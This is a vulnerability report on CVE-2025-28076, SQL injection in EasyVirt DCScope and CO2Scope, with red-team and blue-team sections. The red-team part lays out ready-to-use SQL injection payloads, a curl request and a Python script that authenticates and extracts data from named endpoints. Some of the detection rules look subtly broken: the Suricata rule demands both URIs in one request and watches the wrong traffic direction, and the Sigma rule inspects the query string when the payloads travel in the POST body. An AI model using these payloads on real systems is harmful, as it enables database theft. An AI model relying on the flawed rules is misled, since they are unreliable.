CVE-2025-28076

Executive Summary

CVE-2025-28076 is a critical SQL injection vulnerability affecting EasyVirt DCScope (<= 8.6.4) and CO2Scope (<= 1.3.4). The vulnerability allows remote authenticated attackers to execute arbitrary SQL commands through multiple parameters in the /api/management/updateihmsettings and /api/capaplan/savetemplates endpoints. With 24 injection points identified in the first endpoint and 5 in the second, the attack surface is extensive. Successful exploitation could lead to complete database compromise, data exfiltration, and potential lateral movement within the network. No official patch has been released at the time of analysis.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary Java-based web applications (EasyVirt DCScope and CO2Scope) used for data center and carbon footprint management.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – requires authentication but low-privileged user.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – vulnerable component only.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – can modify/delete data.
• Availability (A): High (H) – can disrupt database operations.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical – due to the large number of injection points and the lack of a patch.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of user-supplied input in the EasyVirt DCScope and CO2Scope web applications. The affected endpoints are:

1. /api/management/updateihmsettings – Accepts 24 parameters (timeago, user, filter, target, p1 through p20).
2. /api/capaplan/savetemplates – Accepts 5 parameters (ID, NAME, CPUTHREADNB, RAMCAP, DISKCAP).

These parameters are directly concatenated into SQL queries without proper parameterization or escaping. An authenticated attacker can inject malicious SQL payloads into any of these parameters to manipulate the underlying database.

Attack Flow:

1. Attacker authenticates to the web application (low-privileged account sufficient).
2. Attacker crafts a POST request to /api/management/updateihmsettings or /api/capaplan/savetemplates.
3. Attacker injects SQL commands into one or more of the vulnerable parameters.
4. The application executes the malicious SQL query against the backend database (likely MySQL or PostgreSQL).
5. Attacker can extract data, modify records, or execute administrative commands.

Example Injection (timeago parameter):

POST /api/management/updateihmsettings HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

timeago=1' UNION SELECT username,password FROM users--&user=admin&filter=...

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Java - Pseudocode):

String query = "UPDATE settings SET timeago = '" + request.getParameter("timeago") + "' WHERE user = '" + request.getParameter("user") + "'";
Statement stmt = connection.createStatement();
stmt.executeUpdate(query);

Patched Code (Expected):

String query = "UPDATE settings SET timeago = ? WHERE user = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("timeago"));
pstmt.setString(2, request.getParameter("user"));
pstmt.executeUpdate();

The fix involves using parameterized queries (PreparedStatement) instead of string concatenation. This ensures user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy EasyVirt DCScope 8.6.4 in a controlled environment (e.g., Docker or VM).
2. Create a low-privileged user account.
3. Use Burp Suite or a custom Python script to interact with the API.

Exploitation Steps:

1. Authenticate and obtain a session cookie.
2. Craft a SQL injection payload for the timeago parameter:

   '; SELECT * FROM users; --
   

3. Send the request:

   curl -X POST 'http://target/api/management/updateihmsettings' \
     -H 'Cookie: session=valid_session' \
     -d 'timeago=1%27%3B%20SELECT%20*%20FROM%20users%3B%20--&user=admin&filter=test'
   

4. Use UNION-based injection to extract data:

   ' UNION SELECT null,username,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM users--
   

5. For blind injection, use time-based payloads:

   ' OR IF(1=1, SLEEP(5), 0)--
   

Automated Exploitation (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Authenticate first
session.post(f"{target}/login", data={"username": "user", "password": "pass"})

# SQLi payload
payload = "' UNION SELECT null,@@version,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--"
data = {
    "timeago": payload,
    "user": "admin",
    "filter": "test"
}
r = session.post(f"{target}/api/management/updateihmsettings", data=data)
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL error messages in application logs (e.g., "You have an error in your SQL syntax").
• Look for abnormal query patterns in database logs.
• Detect requests with SQL keywords (UNION, SELECT, SLEEP, OR 1=1) in POST parameters.

Mitigation:

• Immediately restrict access to the vulnerable endpoints to trusted IPs only.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct a thorough code review and apply parameterized queries.
• If patching is not possible, consider taking the application offline until a fix is available.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /api/management/updateihmsettings or /api/capaplan/savetemplates containing SQL keywords.
• Unusual database error messages in HTTP responses (e.g., 500 errors with SQL syntax).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

File IOCs:

• Modified application logs showing SQL injection attempts.
• Temporary files created by database dumps (e.g., dump.sql).

Log IOCs:

• Database logs showing queries with UNION, OR 1=1, SLEEP(), or BENCHMARK().
• Web server logs showing repeated requests to the vulnerable endpoints with varying parameter values.

Detection Engineering

YARA Rule

rule CVE_2025_28076_SQLi_EasyVirt {
    meta:
        description = "Detects SQL injection attempts against EasyVirt DCScope/CO2Scope"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28076"
    strings:
        $s1 = "/api/management/updateihmsettings" ascii nocase
        $s2 = "/api/capaplan/savetemplates" ascii nocase
        $sqli1 = /(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|SLEEP|BENCHMARK)/ ascii nocase
    condition:
        any of ($s1, $s2) and any of ($sqli1)
}

Sigma Rule

title: SQL Injection Attempt Against EasyVirt DCScope/CO2Scope
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-28076
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/management/updateihmsettings'
            - '/api/capaplan/savetemplates'
        cs-uri-query|contains:
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - 'SLEEP'
            - 'BENCHMARK'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-malicious context (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-28076 SQL Injection Attempt - EasyVirt DCScope/CO2Scope";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/management/updateihmsettings"; http_uri;
    content:"/api/capaplan/savetemplates"; http_uri;
    pcre:"/(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1|SLEEP|BENCHMARK)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-28076;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected systems from the network if possible.
2. Restrict access to the vulnerable endpoints using firewall rules or reverse proxy configurations.
3. Monitor logs for signs of exploitation.

Long-term Fix:

1. Apply parameterized queries (PreparedStatement) to all database interactions.
2. Conduct a full security audit of the application code.
3. Implement input validation and output encoding.
4. Deploy a WAF with SQL injection prevention rules.
5. Contact EasyVirt for an official patch or consider migrating to an alternative solution.

Workaround (if patching is not possible):

• Disable the vulnerable endpoints by modifying the web server configuration (e.g., return 404 for /api/management/updateihmsettings and /api/capaplan/savetemplates).
• Implement a reverse proxy that inspects and sanitizes POST parameters.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated: 2025-04-10